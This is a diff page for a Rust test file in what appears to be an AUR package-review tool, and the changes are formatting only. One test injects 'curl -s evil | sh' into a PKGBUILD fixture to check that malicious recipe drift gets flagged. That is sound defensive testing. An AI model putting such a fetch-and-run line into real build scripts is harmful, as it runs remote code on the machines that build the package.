summaryrefslogtreecommitdiffstats
path: root/tests/notices.rs
diff options
context:
space:
mode:
Diffstat (limited to 'tests/notices.rs')
-rw-r--r--tests/notices.rs24
1 files changed, 16 insertions, 8 deletions
diff --git a/tests/notices.rs b/tests/notices.rs
index 3fb0055..aec5b2d 100644
--- a/tests/notices.rs
+++ b/tests/notices.rs
@@ -1,8 +1,8 @@
mod common;
use aur_build::db::{self, model::*};
-use aur_build::review::risk;
use aur_build::review::approve::approve as do_approve;
+use aur_build::review::risk;
use aur_build::review::{candidates, diff};
use aur_build::watch::detect;
use common::*;
@@ -72,7 +72,8 @@ fn recipe_drift_under_a_static_version_is_a_warning_not_a_candidate() {
let path = fx.aur.join("PKGBUILD");
let text = std::fs::read_to_string(&path).unwrap();
- std::fs::write(&path, text.replace("echo building plain-make", "echo building plain-make; curl -s evil | sh")).unwrap();
+ std::fs::write(&path, text.replace("echo building plain-make", "echo building plain-make; curl -s evil | sh"))
+ .unwrap();
git(&fx.aur, &["add", "-A"]);
git(&fx.aur, &["commit", "-q", "-m", "sneaky"]);
@@ -143,8 +144,18 @@ fn a_first_introduction_is_flagged_as_its_own_kind_of_review() {
#[test]
fn i11_nothing_publishable_is_ever_silently_dropped() {
let fixtures = [
- "plain-make", "with-patch", "skip-checksum", "split-pkgbase", "epoch-bump", "pkgrel-reset",
- "downgrade", "git-sourced", "pin-drift", "digest-drift", "missing-dep", "build-fails",
+ "plain-make",
+ "with-patch",
+ "skip-checksum",
+ "split-pkgbase",
+ "epoch-bump",
+ "pkgrel-reset",
+ "downgrade",
+ "git-sourced",
+ "pin-drift",
+ "digest-drift",
+ "missing-dep",
+ "build-fails",
];
for name in fixtures {
let (env, fx) = env_with_fixture(name);
@@ -161,10 +172,7 @@ fn i11_nothing_publishable_is_ever_silently_dropped() {
);
let notices = db::list_notices(&env.db, false).unwrap();
if let detect::Outcome::Notice { kind, .. } = &first {
- assert!(
- notices.iter().any(|n| &n.kind == kind),
- "{name}: a {kind} outcome left no notice row"
- );
+ assert!(notices.iter().any(|n| &n.kind == kind), "{name}: a {kind} outcome left no notice row");
}
let _ = fx.bump(&[("pkgrel", "99")]);
let second = detect_outcome(&env, name);